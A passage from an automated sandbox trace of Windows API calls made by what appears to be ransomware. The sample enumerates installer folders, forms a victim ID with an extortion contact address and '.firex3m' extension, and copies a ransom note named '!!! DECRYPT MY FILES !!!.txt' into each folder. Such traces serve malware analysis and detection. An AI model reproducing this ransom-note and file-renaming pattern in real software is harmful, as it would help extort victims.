returned 0x2c [0087.185] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.185] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.185] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.185] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.185] GetProcessHeap () returned 0x630000 [0087.185] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0478, Size=0x18) returned 0x6b0418 [0087.185] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0087.185] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1028\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\1028\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 1 [0087.185] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1028\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\1028\\setupresources.dll") returned 0x2d [0087.185] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.185] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.185] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.186] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.186] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.186] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0087.186] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1029", cAlternateFileName="")) returned 1 [0087.186] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\1029\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\1029\\") returned 1 [0087.186] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1029\\") returned 0x1b [0087.186] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0087.186] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0087.186] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d52c0 [0087.187] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.187] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0087.187] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\1029\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 1 [0087.187] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\1029\\eula.rtf") returned 0x23 [0087.187] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.187] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.188] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.188] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.188] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0087.188] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0087.188] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf37428cd, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4ec0 [0087.188] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0087.188] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\1029\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\1029\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0087.192] GetProcessHeap () returned 0x630000 [0087.192] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0418, Size=0x1c) returned 0x6e8fb8 [0087.192] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0087.192] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1029\\eula.rtf", psz="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 1 [0087.192] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\1029\\localizeddata.xml") returned 0x2c [0087.192] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.193] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.193] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.193] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.193] GetProcessHeap () returned 0x630000 [0087.193] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fb8, Size=0x20) returned 0x6e8f40 [0087.193] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0087.193] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1029\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\1029\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 1 [0087.193] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1029\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\1029\\setupresources.dll") returned 0x2d [0087.193] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.193] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.193] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.193] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.194] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.194] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0087.194] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1030", cAlternateFileName="")) returned 1 [0087.194] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\1030\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\1030\\") returned 1 [0087.194] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0087.194] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0087.194] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0087.194] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d54c0 [0087.195] FindNextFileW (in: hFindFile=0x6d54c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.195] FindNextFileW (in: hFindFile=0x6d54c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0087.195] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\1030\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 1 [0087.195] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\1030\\eula.rtf") returned 0x23 [0087.195] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.195] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.195] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.195] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.196] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0087.196] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0087.196] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf371c69a, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4ec0 [0087.196] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0087.196] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\1030\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\1030\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0087.200] GetProcessHeap () returned 0x630000 [0087.200] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8f40, Size=0x24) returned 0x699c78 [0087.200] FindNextFileW (in: hFindFile=0x6d54c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0087.200] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1030\\eula.rtf", psz="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 1 [0087.200] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\1030\\localizeddata.xml") returned 0x2c [0087.200] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.200] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.200] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.200] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.200] GetProcessHeap () returned 0x630000 [0087.200] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699c78, Size=0x28) returned 0x699798 [0087.201] FindNextFileW (in: hFindFile=0x6d54c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0087.201] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1030\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\1030\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 1 [0087.201] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\1030\\setupresources.dll") returned 0x2d [0087.201] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.201] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.201] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.201] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.201] FindNextFileW (in: hFindFile=0x6d54c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.201] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0087.201] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1031", cAlternateFileName="")) returned 1 [0087.202] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\1031\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\1031\\") returned 1 [0087.202] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1031\\") returned 0x1b [0087.202] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0087.202] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0087.202] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d52c0 [0087.203] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, 